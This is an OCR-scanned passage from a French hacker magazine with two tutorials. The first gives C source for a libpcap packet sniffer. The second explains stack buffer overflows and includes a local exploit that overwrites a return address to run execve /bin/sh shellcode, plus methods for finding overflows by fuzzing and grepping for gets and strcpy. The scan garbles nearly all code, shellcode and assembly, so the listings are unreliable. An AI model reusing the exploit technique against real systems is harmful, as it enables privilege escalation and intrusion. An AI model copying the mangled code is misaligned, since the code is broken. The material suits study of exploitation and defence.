que vous pouvez (il y a les manpages pour ¢a). Je ne vous offre que le moyen de.récupérer Uinformation, pas
de la traiter. On se passera de disclaimer en ce gui concerne ces ‘cours’ de progs réseau étant donné gue les
outils aével_oppés ici sont tout a fait legaux. Bon allez, on se met au boulot, fini de glander.

Je rappelle que ces cours s'adressent a des personnes ayant un
minimum de connaissance en Langage C et dans le domaine des
réseaux en général,

Un sniffer c'est quol ?

‘Alors un sniffer va nous permettre de mettre en évidence tous les
. paquels passant par notre carte réseau. 11 va nous afficher les
trames passantsur leréseau. Lebut d'unsnifferest dedétecter d'éven-
tuelles anom'ihes sur le réseau. J'ai entendu dire que les Hackerz
Warlods s'en servent pour espionner les paquets qui ne leur
etaient pas destinés aprés avoir redirigé le trafic vers leur machi-
ne en utilisant des techniques telles que l'arp-poisoning (ou drp-

reduect) sur un réseau switché ou encore le DNS ID Spoofing. -

Ce n'est cependant pas la finalité de cet article de traiter ces dif-
ferentes techniques employées par ces evils pirates du net.

Le mode promiscious :
Par défaut, lorsqu'une machine veut communiquer avec une autre
mach ineprésentesurleréseau, elle 'liche'son paquet (celui-ci contient
I'adresse de destination) et toutes les machines du réseau le regoi-
vent. Par défaut, la carte réseau va jeter tous les paquets qui ne
lui sont pas destinés. C'est a dire quela machine A envoieson
paquet 4 destination de la machine B, mais que outes les machines
sur le réseau regoivent le paquet sus-nommé ! La machine C regoit
le paquet, consulte I'en-téte et ' ignore si l'adresse destination
physique (adresse MAC) n'estpaslasienne. Lemode promiscious per-
met de contourner le probléme et de récuperer tous les paquets
transitant sur le réseau, y compris ceux ne lui étant pas destinés.
Le promiscious est donc un mode spécial de la carte réseau qui
I'empéche d'ignorer les paquets ne lui étant pas destiné.

Ceci etant dit, j'espére que les choses sont maintenant claires. Pas-
sons & la phase de programmation. Bien qu'il soit possible de snif-
fer griceaux raw, celaimplique un travail long et fastidieux. Etcomme
nous sommes des grosses flemmardes, nous allons plutot utiliser des
fonctionsprésentes dansunebibl 1othequespéc1ale Jlainommélalibp-

cap(library packet capture). Cette bibliotheque est une biblio-
théque spécialement destinée @ la capture de paquets. Elle a été
mise au point par les gentils développeurs de tepdump (un outil
trés utile !!) et est actuellement a sa version 0.6.2. Yous pouvez la
teléchargeral'adressesuivante: www.tepdump.org, Le fichier quinous
intéresse est situé & www.tcpdump.org/release/libpeap-0.6.2.tar.gz

Bien, la librairie étant récupéree, une rapide installation s'impose.

installation de la libpcap :
Placez-vous danslerépertoireou vousavez téléchargé lalibrairie, puis :

$> tar vzl inpeap-0.8.2.tan0z

§> i libpcap-0.6.2

$> /eonfigune

§> make

8> mal install

Viériflez Ia présence de la libpca mr 1 petit;
$> updatedn

$> locate pcaph

Elle devrait se trouver dans /usr/include/peap/

Passons cette installation plus que triviale et penchons nous
maintenant sur la programmation d proprement parler. Let's Go -
Coding les WaR1OrDz =)

[ ne faudra pas oublier d'inclure la dite librairie par un petit ;
#include <pcap.h>

Rappelons qu'un petit man peap ne fais de mal 4 personne !
Bon alors voyons tout d'abord les fonctions essentielles de la
libpcap que nous allons utiliser :

pcap_open_live : !

Il s'agit de la fonction essentielle. Elle est utilisée pour obtenir
un descripteur de paquets capturés en regardant sur le réseau
(traduction litiérale de la manpage).

En grosc'est cette fonction quivanous permettre d'écouter le réseau,
Elle est indispensable. Elle va nous renyoyer un pointeur sur une
structure de type peap_t qui va nous pernwl[re la capture de ces
vilains paquets, :

Voyons sa syntaxe :
pcap__t “pcap_open_live(char *device, int snaplen, Int promsc, int to_ms, char *elu)

Ouhaou ! Ca peut paraitre un peu chaud comme ¢a, mais en fait
c'est super simple, vous allez voir ;

char *device : I1s'agit d'une chaine de caractére qui va repré-
senter l'interface réseau sur laquelle on veut écouter.

Chez moi c'est eth0, mais ¢'est peut étre différent chez vous. Un
petit ifconfig vous permettra aisément de déterminer quelle
interface utiliser.

int snaplen : [1s'agit du nombre maximum d'octets a gauler par
paquet, C'est & vous de spécifier sa taille. Généralement de
I'ordre de 1500 sur de I'ethernet.

@
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it promise : Comme son nom |' indique ce parametre mettra ou non
la carte en mode promiscious (cf plus haut). C'est en fait un booléen,
soit 1 pour activer le mode promiscious et 0 pour n¢ pas I'activer.

int to_ms : Ce parameétre définit le timeout de lecture en millise-
condes.
char *ebut: C'estlachaine quivarécupérer lasortieéventuelled'er-

reur’s si la fonction peap_open_live foire et renvoie un pointeur
NULL.

Ben alors, c'étail pas si compliqué que a finalement.

Juste un détail, la structure peap_t(définie dans le pcap.h par
typedei‘qh uct peap peap_t;) est une structure qui va contenir le
descripteur de paquets cité plus haut,

Elle contient en fait les paramétres passés en arguments, telles
que le device ou encore le mode promiscious.

peap_nexi ;
En fait, une fois la fonction peap_open_ live exbcutee, nous
allons recevoir les paquets. Pour récupérer ceux-ci, nous allons
utiliser la fonction peap_next, quiva renvoyer ' adressedu prochain
paquet. Elle va renvoyer un pointeur sur une chaine de caractéres
-non-signes qui n'est autre que le paguet en question,

Syniaxe : -
U_char *cap_next(cap_t *p, struct peag_pihde )

peap_t *plis'agit de notre descripteur de paquet précédem-
ment initialisé par la fonction peap_open_live()

struct pcap_plthdr *h: C'est un pointeur sur unestructurede type
peap_pkthdr.

La structure peap_pithir

Elle est définie dans le fichier ; peap.h

Cette structure est une structure contenant les headers des
paquets recuperes, Pour plus de renseignement sur cette structu-
re faites un more peap.h et regardez comment celle-ci est définie.

pap _lookupned ;

Cettefonetion va tenterde récupérer |'adresse et lemasque du réseau
assoeif 4 l'interface passée en argument.

Syntaxe :

Int pcap_Iookupned(char “device,bpf_u_int2 *netpbpt_u_int32 “maskn, chan *erpbuf);

char *device : 11 s'agit de notre chaine contenant l'interface a
sniffer (par exemple eth0). -

bpf_u_int32 *netp: C'estunpointeursurunentier de typebpf_u_int
définie dans bpf.h,

bpf_u_int32 *maskp : C'est un pointeur identique au précédent.
char *errbuf: C'est la chaine qui va contenir les erreurs.

Al'appeldecette fonction, les variables passées enargument contien-
dront l'adresse du réseau et le netmask associé.

peap_stals

La dite fonction va renvoyer les informations de statistiques sur
les paquets et les stocker dans une structure peap_stat,

Syntaxe :

int peap_ stats(acap 1., stPuct peap_stat *ns)

Le premier argument est le descripteur de paquet, le second est
un pointeur sur la structure que I'on souhaite remplir.

La structure peap_stat est définie encore une fois dans le fichier
peap.h. Elle se présente sous cette forme :
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stpuct peap_stat {
U1_Int ps_recy;
u_intps_drop;
U_int ps_itdrop;
b

Le premier champ représente le nombre de paquets regus Le
second rcpresente le nombre de paquets dropés !

Le troisiéme n'est pas important puisqu'il n'est pas supporté
pour le moment.

pcap_lookupilev :

Cette fonction va nous renvoyer l'interface réseau par défaut.
Syntaxe :

11__char peap_lookupdev(char “epphuf)

Le paramétre est la chaine de caractére contenant les erreurs.

Bon nous avons globalement deéfini toutes les fonctions que nous
allons utiliser pour eoder notre sniffer. Il faut cependant savoir
que ce n'est qu'un-échantillon des nombreuses fonctions de la
libpeap, toutefois, développer un article complet sur I'utilisation
des fonctions de la libpeap serait bien trop long. Comme je vous
1'ai dis plus haut, si vous désirez developper le sujet développé
1c1, vous deyrez travailler par vous-mémes. Je ne vous ai présenté
ici que les fonctions les plus utiles. Nous allons nous contenter
dans notre sniffer d'afficher les trames. Nous n'allons pas les
traiter, ceci serait bien trop long & mettre en place. Si vous vou-
lez tout de méme dpperOﬂd]l’ YOUS pourrez traiter vos paquets
(enutilisant les RFCs) pour savoir & quoi correspond tel ou tel paquet.

Sachez toutefois qu'il existe des fonctions et des structures prédé-
finies pour cet usage dans la libpcap. Mais une fois encore, ce
sera a vous de continuer tout seul.

Bon, tout ceci étant dit, nous allons observer le code de notre sniffer.

hzvsnift.c .
lehut
#nclude <stdioh>/* Uibealle Standard pour les prin el compagle...*/
#inelude <peap.i>  /*1a lameuse libeairle peap */
IEII main(void)
Int §,a=0,ntiepaguets; /* variable (compteurs) ;
I pour notre boucle de traitement des panuets
@ our noteg houcle avee le nomirg de paguels
nbrpaguets est e nomee de paguets déja captunés.
il .
chiar interface[10]; /* Interface est e chane e caractEres mul contien-
ira e nom te notre inteplace, =/

bpf_u_Int32 netp,maskp; /* netpetmaskpcesontles deux entiers spéciaux utifisés par I fonc-
tion pcap_lookugnet */

/* Vaniable contenant fe 1 ou 2 selon e formala-
e (6sing pour |' aifichage des paquels. */

/* G'estnotrebufler d*erreur de taille PGAP_ERR-
BUF _SIZF définie dans pcap.h */

int affichage=0;

char erreur{PCAP_ERRBUF _SITE];

fcap_t *eseriptPaquet = NULL; /~ Notre indispensable deseripteur oe paguels.
Initialisé & NULL */
struct peap_stat “statistiques; /* Ceci est nolrg structurg de statistinues. */

StPuct peap_lafde panuethir; /* 'est une structure e type entle de pauels.
; Utilg6s unicjuement par pcap_net. */
U_Char “paguet; /* C'est le contenu des paquets que |'on va

récupéren =/
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stalistigues = (struct peap_stal*)malloc(sizeol(struct pcap_ slal})
/* Allocation dg Ia mémoire pour nolre Struct-

P e statistigue.”/
1 N B R e A [ [ e e o S S
/* G4 36 passe de commentaire je crois. Sinon
(man 2 priptf héne =)*/
geintiC"  CoDed By ReDILs For HZVManual\i\n");
eintiC Entrer I'interface & snilfer ou O pour |'interface par délaut : ");

seani("%10s" Interface); /* On réeupre le nom de I'interface a scanner

sinon 0 pour fa prendre par détat,*/
printi("\nEntrer e nombre de paguets @ snifler : *);

mrl{"‘/d",&rlwuamﬂé}: /* Unréeupére lenombee de paguets quel'on sou-

haite siffer”/
[rinti"\nChoisissez s type u'affichage des donndes :\1");
printd(" 1 -> sous forme de CAPEINGS. (pour snilfer des conversations IRC par
exemple.).\n"); /* On sélectionne Iei le type 1" aﬂlehm les
panuels.”/
printi(" 2-> sous forme hexa. (nour 8ludier les diflérents en-les)\n");
seani("%d" Gaffichage); ;

while((affighagel=1) && (affichagel=2)) /* Tant que 1 ou 2 n"est pas eatré, on pede-
mandg Ia salse.”/
{

frintf(“ Choigissez 1 ou 2 \n");
seanl(“%d" Gaflichage);
}

i(stremp(ntertace, 0" }=0)strepy(interface, peap. lookupdev(erreur);
/* 81 on a choisi I'interface par défaut, on

appelie Iafonctionpicap_lookupdey, pour récy-

pérer le nom de notee Interface.*/

il {(descriptPaquet = peap_open_live(interface, 1500, 0, 1000, erreur))==NULL)
& Dunwrennmusummueuaﬂum Youpi I*/
{

pein("Erreun ; %s\n" erreur); /* On affiche les éventuels erreurs.*/
()

}
peap_lookupnet(interlace, &nety, &maskn,eereur); /* On récupire |"adresse et 6 mask

. g Paseau i3 & notre inlerface grice

4 la fonetion pcap_lookumet”/
printiC"nReseau : %x\n" nelg); /* On afliche |'adresse en hexa.”/
FntIC™\niAgk : %x\n'" mashp);
pean_stats(deseriptPaquel, staistigues); /* On lance Ia fonction de statistiques.”/

printi{"Afichage du trafic réseau sur %s\n" interiace);

/* On affiche [e magk en fiex.”/

while (a!=nhrpaquets) /* O lance I8 récupération des paquets el leur
affichage tant que le nombre de paquels a
siffer n'est pas atteint.*/
{
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paguet = (u_char ) peap_nexl(descriptPanuel, &paguelhir);
/ On récupere Ie content des paquets. /
it (raguet = NULL) /* Silecontenun'estpas vide, alorsonl 'affiche.”/
{
for (i=0; I<h00; 4+ /* Dnafficherales 500 premiens octets upanuel.*/
{
il(atfichage=="1)nrintl("%c" *panuet); /* Dn alfiche le fAfuet sous
I6 formatage désieg.”/
else{printi("%.2X" " paruel);}
faquet-—+;
}
s i s )
}
-+
} ;
[1cap_stals(descriptPaguet, statistiques); /* On rappelle la fonction de Statistique pour
rempli notne structure stal./ :
PeintiC"Statistinues :\i);

printf("Nombre de paquets recus :  Sod\n" stalistiques->ps_recv);
: /* On aifiche fe nomtire de paquets regus.”/

"printi("Nombre U paquels dropés : %d\n" slatisligues->ps_drop):

/* On atflche le nomtire de paquels droppés.”/

Explications suppldmentaltei H

Pour compiler : gee -Ipcap -0 hzvsniff hzvsnifT.e

Voila le source de notre sniffer. Il capture bien tous les paquets. 11
n'a pas pour but d'étre operationnel. Son but est uniquement
pedagogique. Il ne faudra pas oublier de le mmpllel avec un -
Ipcap pour que la peap.h soit prise en compte. Je l'ai teste chez
moi et il marche, alors pomqum pas chez vous. Les résultats
abtenus sont les mémes qu'avec tepdump (Lorsque I'on spécifie
l'affichage direct sans traitement des headers.)

11 faut maintenant savoir qu'il existe des fonctions trés simples de
la libpeap permettant de filtrer les paquets. Je vous invite donc &
consulter lespages dumanuel (rappel: manpcap). Deplus lespaq uets
seront affichés avec toutes les entétes (qui sont d'ailleurs trés
intéressantesa étudier.). Comme vous pouvezle constater, onaffiche.
que les 500 premiers octets de chaque paquets, ceci dans un sou-
cis d'affichage, Je tiens a remercier Uzy pour ses suggestions.

Bon, j'espére vous avoir appris quelque chose. Si ce n'est pas le
casalorstant pispour vous. Cesnifferest tréssimpleetiln'a paspour
but de fournir un outil fonctionnel, mais sert uniquement a com-
prendre le principe. J'aimerai savoir ce que vous désirez voir
développer dans mon prochain article, pour cela mailez moi
(redils@netcourrier.com). Idem si vous avez des suggestions. J'ai
essaye de vous exposer les bases, mais sachez cependant qu'il est
possible de sniffer via les raw sockets, mais cela est plus compli-
qué. Je vous conseille done vivement 'utilisation de la libpcap,
créée d cet effet. Sur ce, je vous souhaite bonne chance. Et bonne

* continuation dans votre "quéte” de savoir.

=Redils=
Spiecial Greetz 10 : FoZzy (thx ma poule.)
Ma cheeie (you're the one | love 1)

L]
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UNIX

TROUVER DES VULNERABILITES
DANS UN PROGRAMME

PARTIE 1: LES BUFFER OVERFLOWS.

90% des failles de sécurité exploitées par les pirates sont le résultat 8’'une négligence ou d'une
flemme de La part d'un développeur gui aura voulu économiser quelgues lignes de code.

Les meilleurs pirates sont ceux qui trouvent des vulnérabilités dans des programmes utilisés
par tout un chacun en toute confiance car ils sont réputés secure. Grace a cela, ils gagnent un

. shell root, et parfois chez vous...

Cet article est le premier d'une série sur les failles de sécurité
logicielles sous UNIX. Bien que je ne m’intéresse qu'au langage
C. principale composante des systemes UNIX, les conseils de
programmation que je donnerai au fur et & mesure pourront ser-
vir dang bien d'autres langages. Cet article est divisé en trois par-
ties s dans un premier temps, je vais vous exposer la faille, en
vous expliquant son fonctionnement. puis je vous montrerai cer-
taines méthodes utilisées par les pirates pour les trouver, et enfin,
je vous montrerai comment on peut les éviter en prenant de
bonnes habitudes de programmation. Ainsi, la prochaine faille
sur bugtraq, c'est peut-8tre vous qui la posterez....

Bien entendu, si vous trouvez une faille de secu sur www.cia.gov
et que vous revendez:ce que vous avez trouveé a une puissance
étrangere. déclenchantainsi la troisiéme guerremondiale et unbeau
merdier, je ne saurais en étre tenu responsable, cela va de 801...

I = Qu'est-ce gu‘un buffer overflow ?

Lorsqu'un programme est exéeuté, il est chargé en mémoire.
Dans la mémoire qu'il occupe, on peut distinguer trois parties
distinctes: . _
=D'une part une zone nommee zone texte, Celle-ci est en lecture
seule. Ony trouvele programme lui-mémeet lesélémentsen lectureseule
(celainclutnotamment les variablesarge, argyetenviron passesenpara-
métre de la fonction main). Si on tente d’éerire dans cette partie de
la mémoire, on obtient une segmentation violation, ¢'est a dire
qu'on viole un segment de mémoire qui n'a pas d’accés en écriture.
_-Ilyaensuitelazonede données, quicontient les différentes variables
du programme, qu'elles soient initialisées ou non. C'est une zone
dans laquelle on peut écrire a volonte, & condition d’étre le pro-
priétaire du processus, et donc, de I'espace mémoire.
-1l y a enfin la pile, ou stack, C'est I'¢lément qui nous inféresse le
plus. Nous ne nous intéresserons ici qu'aux stack overflow, ¢'est a
dire au débordement de la pile et laisserons de c6té les heap et bss

overflow pour l'instant qui sont beaucoup plus complexes i -

découvrir et 4 exploiter. Mais promis, ca viendra.

Qu'est ce gue La stack? .

Unepileestun coneept scientifique dans lequel le dernier objet ajou-
té en haut de la pile sera le premier de pile, un peu comme avee
une pile d’assiettes. On peut faire beaucoup de choses avec la
stack, mais les deux opérations les plus courantes sont le PUSH,
qui ajoute un elément au sommet de la pile, et POP, qui les reti-
re. Cesont ladeuxinstructions d'assembleur quipermettent de mani-
puler des zones de mémoire et des variables.

A) Organisation simplifiée de la mémoire
d'un processus @

= [T ———

Zone texte | Adressemémoire laplus basse.

Données Initialisées

Données non Initialisées

| Pile | Adressemémoirelaplushaute.

La stack, A quoi ca sert ?

Le C, comme la plupart des langages modernes, repose sur le prin-
cipe des fonctions pour structurer les données. Les fonctions ont la
possibilite de modifier les données du programme, un peu comme
le ferait I'instruction JUMP en assembleur, & une différence prés:
lorsque la fonction se termine, elle retourne dans ’environne-
ment duquel elle est partie, et passe la main 4 la fonction suivan-
te. Pour vousexpliquer ceconcept, riende mieux qu'un petit exemple :

Hinelude <stdio.r> '
void fonction(int &, int b, fnt c);
int main(int ac, char **av)
{
W 4=
int b=20;
int t=40;
printi("Avant |a fonction:: a=S%d b=0%d e=%d.\n", a, b, c);
lanctian(a, b, c);
peinti("Aprés I fonetion: 8=%0 b="%d e=%d.\n" 4, b, ¢);
refurn (0); '
}

vold fonction(int a, int b, int c)
{
a=a+h;
h=h+g
L=C+E _
‘ printf("Dans Ia fonction: a="ad, b=Sd, c="%0.\1", 4, b, €);

[z]
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hasi-2.058 gec toto.c -ydk -2 -0 toto
hagh-2.058 ./tolo

fvant a fonction:; 8=10 =20 c=30.
Dans I fonction: 8=30, h=50, e=80.
Apres fa fonction; =10 bi=20 ¢=30.
asi-2.058

Qu’avons nous fait ? :

Le main fait appel a une fonction retournant un void, et prenant
troisentiersa, b et ¢ en paramétre. La valeur de ces parametres est
affichee avant appel a fontion(), pour comparaison. A I'intérieur de
la fonction, nos trois paramétres a, b et ¢sont modifies. Pourtant,
une fois retournés dans le main, ce n'est plus du tout le cas. En effet,
la mémoire est organisée de telle maniere que la mémoire allouée
pour les variables locales est libérée au moment ol [a fonction
* retourne dans la fonction appelante. Clest une des principales régles
du C qui veut qu'une variable soit locale 4 la fonction qui 1'a appelee,
11 existe pourtant une maniére de récupérer la valeur d'une variable
modifiée & I'intérieur de la fonetion appelante, et ce gréice 4 I'appel
systemereturn(), qui permetderetourner une variableouun pointeur.
Concrétement, l'adressed'espacemémoire dans lequel notre programme
croyait trouver notre variable est changée, et noter fonetion main
le prends en compte. Mais tout cela sera un peu plus clair dans la
partie décrivant en détail le fonetionnement interne de la stack. En
attendant, un petit exemple est toujours plus parlant.

#include <stdlo.i>
int fonction(int 8, int b, int ¢, char *tota);
Igt main(in ac, char **ay)

in i=10;

in h=20;

int t=30;

int =0

cliar *tolo;

= "Hionjour";

.M"MHMIIMWMD:‘}BS B=5M b=%ll,[:=%ﬂﬂ=%11\n“ foto; 8, b, 6, );
= fonctiona, b, ¢, tota); :

- u‘lﬂﬂ'al]rhm:mm:%:,n:%d,h:'}m.n:%,d:%d.\n“,mlﬂ.lhu,dl;
retwen(0);

I{m fonction(int 8, int b, int ¢, thar *foto)

n resultat;
=8+
b=h+E;
L=C+8
resullat =a+h +¢;
~ foto="goucon'™:
{rinti("Dans Ia fonction; a=Y%t, b="d, c="d, Pesultat=%, toto="hs\1", 8, b,
.G, Pesulat, loto);
retuen (resultat);

fiash-2.05$ gec tata.c -godd -02 -0 tata

hast-2.058 ./tata

vt a fonction: toto=honjour 8=10, B=20, t=30 1i=0.

Dans Ia fonction; a=30, b=50, ¢=60, resultat=140, tolo=coucol.
Apres la fonction; toio=honjour a=10, b=20, ¢=30, t=140.
hash-2,058
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Qu’avens nous fait?
Notre fonction main affecte a la variable d la valeur de retour de

- noter fonction. Celle-ci retourne un entier, et prends trois entiers

en paramétres. Notre fonction fonction() modifie d'abord les
paramétres avant de faire 'opération. Ainsi, I'addition ne se fait
plus sur les valeurs que le programme pensait utiliser, mais sur
desvaleurs modifies. Lafonctionretournealorslavaleur delavariable
résultat, qui est le résultat de I'addition des trois parameétres
modifies. Cette valeur est affectée a la variable d.

B) Organisation Interne de la stack

Alors 12, ¢a va devenir assez technique. Les connaissances de base
en assembleur sont méme requises. Cela dit, je vais essayer d’étre
le plus clair possible. Et si vous pigez rien, apprenez, apprenez,
OUl ... payez-vous un cerveau. ;

Nous savons que la mémoire d'un ordinateur est composée de
blocs places les uns & coté des autres. Lorsqu'on y place des don-
nees, celles-ci sont mises les unes 4 coté des autres dans un bloc de
lataille nécessaire. Lastack est elle-mémeun blocde mémoire conte-
nant des données. Un registre pointe sur le haut de la pile, il
s'agit du stack pointer, ou pointeur sur la pile (SP). Le bas de la
pile est une adresse fixe. Sa taille est allouée dynamiquement et
entempsreéel par lenoyau. Lesinstructions PUSH et POP sont, elles,
implémentées par le processeur. C'est pour cette raison que 'as-
sembleur est differentselon lesarchitectures; selon lessystémes d'ex-
ploitations aussi.

La stack consiste en des tiroirs logiques que l'on pousse lors-
qu'on appelle une fonction, et que l'on tire lorsqu'on la retour-
ne. C'estce qu'onappelle lesstackframes. Chaquestack frame contient
les paramétres de la fonction correspondante, ses variables
locales et les données nécessaires pour récupérer la stack frame
précédente. Cela inclut la valeur du pointeur de I'instruction au
moment ot 1'appel systéme a été lance.

Selon l'implémetation, la stack va soit monter, soit descendre
(dans 'organisation de la mémoire). La plate-forme intel x86 a
une pile descendante. Le pointeur sur la pile est aussi dépendant
des implémentations : il peut soit pointer sur la derniére adresse
de la pile, soit sur la premiére adresse libre apreés la pile. En plus
du pointeur sur pile, qui pointe sur le haut de la pile (c'est-a-dire
sur I'adresse mémoire la plus basse), on peut aussi trouver un
frame pointer, quipointesur unendroitbien précisdechaque frame,
Enprincipe, lesvariableslocales peuvent étre réferenceesenpartant
de I'adresse du pointem sur la pile. Mais, comme les variables
sont poussées el retirées de la stack, cette adresse change constam-
ment. 1] est done trés dur, mais pas impossible, de retrouver cet
offset 4 partir du pointeur sur pile. C'est pour cela que de trés
nombreux compilateurs utilisent le frame pointeur pour référen-
cer 4 la fois les variables locales et les paramétres de la fonction.
En effet, leur distance en mémoire par rapport au frame pointer
ne change jamais. C'est a cela que sert EBP sur les processeurs
intel.

La premiére chose que fait une fonction quand elle est appelée est .
de sauver le frame pointer précedent, de maniére a le restaurer au
moment duretour delafonction. Puis, ellecopiele pointeursurpile
dans le frame pointer, de maniére a créer le nouveau frame poin-
ter, et elleavance lestack pointer jusqu’ala prochaine adresse mémoi-
re libre. On va maintenant voir a quoi ressemble une pile ;

#inclug <stdio.n>

vold {onctionint a, int b, Int c);
- mainint ac, char **av, chiar **environ)

(=]
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{
foneton(1, 2, 3);

pelurn (0);
}
vold - fonction(int a, int b, int c)
v{
char  loto421;
char  tata[10];
}

hash-2.058# gee foln.e-S -0 toto.8
hash-2.068# cat toio.s
Jile “Iotn g"
ersion "01,01"
o2 _compiler.
ol
; Align 4
lohl main
yne - main, @fumetion
main;
pushl %ehp
mav %esp,%eehp
subl $8 %esp
il §4,%esp
pushi 83
fuishi §2
pushl $1
call fonction
adl $16,%esp
Yor] Saay, %oeax 2
i 12
- Ji2align 4,7

leave
ol

4

12

- Llet: 3
S8 fman,.Lfe1-main
Allgn 4
o0l fonction
e fonction, @ function
fnction:
fushl %ahp
movl %esp, Yaetip
sull $72 %esp
13:
[eave
ret
2
gie [ fonction, Lle?-fonetion - -
et "RGC: (GNU) 2.95.3 20010315 (release)"
bash-2,058#

Dans main, fa partie qul nous Intéresse est celle:i

- puhl §3
ushi $2 8
usit §1
call fonction

Lesvaleurs denos trois variables, 1,2 et 3sont poussées danslastack
dans l'ordre inverse de leur appel, puis, la fonction est appelée.
En assembleur, celle-ci est devenue ;
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uishl %oebp

movl %esp, %elp
sull §72 %esp

Cela signifie que la mémoire est allouée pour la premiére
variable, puis le pointeur va aller se placer sur la premiere occur-
rence libre pour allouer la mémoire pour le second buffer.

C) Le buffer overfiow.

Lorsque le programme est exécute, chaque variable se voit
allouer une zone de mémoire plus oumoins grande par le programme.
Soit cette allocation est statique car le programmeur veut don-
ner 4 cette zone une taille définie, soit elle est allouée dynami-
quement selon le besoin de l'utilisateur en un moment donné.

Le concept d'appartenances sous UNIX fonctionne aussi avec la
mémoire : siun utilisateur X lance un programme, la zone
memoire qu'il utilise pour cela lui appartient en propre, ef possé-

de donc les mémes droits et restrictions que lui-méme. Si elle
appartient au root, plus de problémes pour notre pirate. Un buf-
fer overflow, ou dépassement de tampon (rien a voir avec les tam-
pax, il s'agit en fait de la zone mémoire allouée pour accueillir
une variable d'une certaine taille) et ce qui se produit lorsqu'un
programme tente de mettre une variable trop grande dans une
zone de mémoire trop petite, Notre programme va forcer la
mémoire et écraset la zone qui se trouve aprés. Notamment, ce
quivaétreécrasé, c'est lavaleur deretour de notre fonction. Et, avee
un peu de chance, la zone mémoire a laquelle on accéde appar-

tient au rot (c'est mieux). Le pirate va alors tenter d'injecter son
proprecodedl'intérieur de cettezone, demaniéred exécuter des ins-

tructions en lieu et place du root. Et, youplaboum, le joli shell
que voila madame. Mais un autre exemple sera nettement plus
parlant ;

(1

#include <stdio.i>
#include <steing.h>

clar *fonclion(char *oto);

int main(int ac, ehar **a)
{

char “loto;

1oto = fonction(av[ 1;

et (0);
}

chap “fongtion(char *toto)
{

char  tul[10];
gels{lutu);
relurn [IIIIIIJ;

}

besh-2.058 ges tutu.c -ggdb -02 -0 futu

bash-2.058 ./t

loin est ho

hasi-2.058 ./t

[es chausseties de |'anchiduchesse sont elles séches of achi siches? wl
archi séehes

Segmentation faull '
biash-2.068
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Que s'est il passé?

Dans notre premier test, tout va bien, car la chaine passée en
paramétres faisait moins de 10 caractéres, caractére de fin de
chaine (\0) compris. Mais dans le second exemple, la chaine pas-
sée en parametres est beaucoup trop longue et va donc écraser la
valeur de retour de la fonction et empiéter sur la zone mémoire
d'dcoté. Bravo, vous venez de réaliser votre premier buffer overflow.
Un schémas de ’état de la mémoire & ce moment la peut-é{re une
bonne idée pour bien comprendre ce qui se passe.

Avant fonction():

Haut de la ‘Bas de la
memoire. mMemoire.
<= tutu frame adresse toto -—>
" pointer . deretour
[ it b [
Apres la fonction:
<--- tutu frame adresse toto -
pointer de retour

La chaine tutu est tellement plus grande que le tampon qui lui a
été alloue, qu'elle a écrase le frame pointer, 'adresse de retour de
la fonetion, et méme 'adresse du paramétre de la fonction...

Comment font les pirates pour I'exploiter?

C'est tres simple en fait: ils vont tenter d’écraser la valeur de
retour d'une fonction de maniére a pouvoir faire exécuter le code
qu'ils auront chargé en mémoire. Celui-ci est, en général, un
execvesur/bin/sh, éventuellement précedeé d'unsetuid(0) etsetgid(0).
Bien quecetarticlenesoit pasconsacréalécriture d'exploits (méme
si 2

c'est prévu), je vais tout de méme vous montrer un exemple. Nous
allons chopper un shell... maaaaaaaaaaagique non?.

Hinelide <string >

cfiar shellcode]] =

e PGE I WTE0B S el kB8 \WAB W07 \kB S A0 C O KOh"
eB@ g BT wde 08B\ B\ 0c Ko 80K 1 wdnB S niB AT ed"
"NBO\eEWre\w I Bin/gh":

ohiar toto[128];

IPI main(int ac, char **av)

cliar tata[06];
in
long *tuty ;

litr == (fong ) toto;
for(=0;1<3% H+)
*(tutu -+ 1) = (int) tota;
for (i = 0: | < stelen(shelleode); 4+
{olo[] = shellcode[i];
stropy(tata, toto);
return (0);

hiors série / n° 5
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liash-2.09% ge liti. -yodd -02 -0 ti
liash-2.058 /it

812,068 exil

onlt

ash-2.058

Qu’avons nous fait au juste ?

Nous avons rempli le tableau toto avec 'adresse de tata, quiest la
otnotreshellcode vaétreécrit. Celui-civa faireunexecvesur /bin/sh.
Nous copions alors notre shellcode au début de toto. La fonction
strepy va alors copier toto dans tata sanscontroler la quantité de
memoireattribuée aux deux chaines, et vadépasser lavaleur de retour
de la fonction, en I'écrasant avec 'adresse & laquelle notre code
est maintenant situé. Quand notre programme atteint la fin de la
fonetion main, et tente de retourner, il fait un saut jusqu’a notre
shellcode et exécute un shell. Comme je 1'ai dit plus haut c'est
maaaaaaaaaaaaaaagique non?

Il - Comment les trouver?

Un des trés grands avantages dessystémes UNIX et linux, ¢'est qu'ils
reposent sur dessources libres, doncconsultablespar letout venant.
Le pirate a donc tout loisir de chercher des failles de séeurité
I'interieur du code d'une application, puis de coder le program-
mequi lui permettrade l'exploiter. La premiére méthode derecherche
est de chercher Ia ou le programme est susceptible de faire un
buffer overflow. Pour cela, onva tenter depasser deschalnes de carac- *
teres de plus en plus longues aux zone ol I'utilisateur a la possi-
bilité de passer des données, jusqu’a atteindre le segfault. Nous
utiliserons dans notre exemple le programmessuivant;

#include <sttio.h>

char *fonctionighar *tota);
int main(int ac, char **a)
: char . *lolg;

If (e < 2)
. BNR(O);
[oto = fonction(av(11);
return (0);
}

char *fonction(cfiar *loto)
{
ohar  “tala;

¢ sircpy(tata, loto);
'elurn (lata);
}

hasi-2.058 gee toto.c -0 tolo

hash-2.08% ./toto AaAasagaasanana

hash-2.05$ ./totn ,

[iash-2.058 ./totn
AANIARIA0AAAAGIAAAARAAAAANIANAD
dAanRaRGAaAL it
aaaAAaa

bash-2.088 /1ot ...,
Segmentation faul

fiash-2.059
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Voild, nous avons réussi  voir que, quand je lui passais un buffer
de 400 caractéres, mon programme segfaultait. Il ne reste plus
qu'a étudier attentivement le code de noter programme pour
déterminer comment coder l'exploit qui va avec.

Une autre méthode consiste 4 rechercher dans tous les fichiers C
un certain nombre de fonctions et de détails susceptibles de
déclencher un buffer overflow. Et la, grep est notre ami, Les
fonctions que nous recherchons principalement sont :

- gets: gets lit sur la sortie standard en attendant un retour cha-
riot pour retourner une chaine de caractéres. Mais gets est une
fonetion trés dangereuse, car il n'existe aucun moyen de contro-
ler la longueur de la chaine passée en parametres. En fait, lors de
la compilation, vous allez méme vous prendre un warning.

- strepy: strepy copie une.chaine source dans une chaine destina-
tion, maissanscontroler quelachaine destinationaitassezde mémoi-
re pour accueillir la chaine source. C'est la fonction que nous
avons utilise dans noter exemple d'exploit.

- sprintf: le plus bel exemple de buffer overflow lie & sprintf est
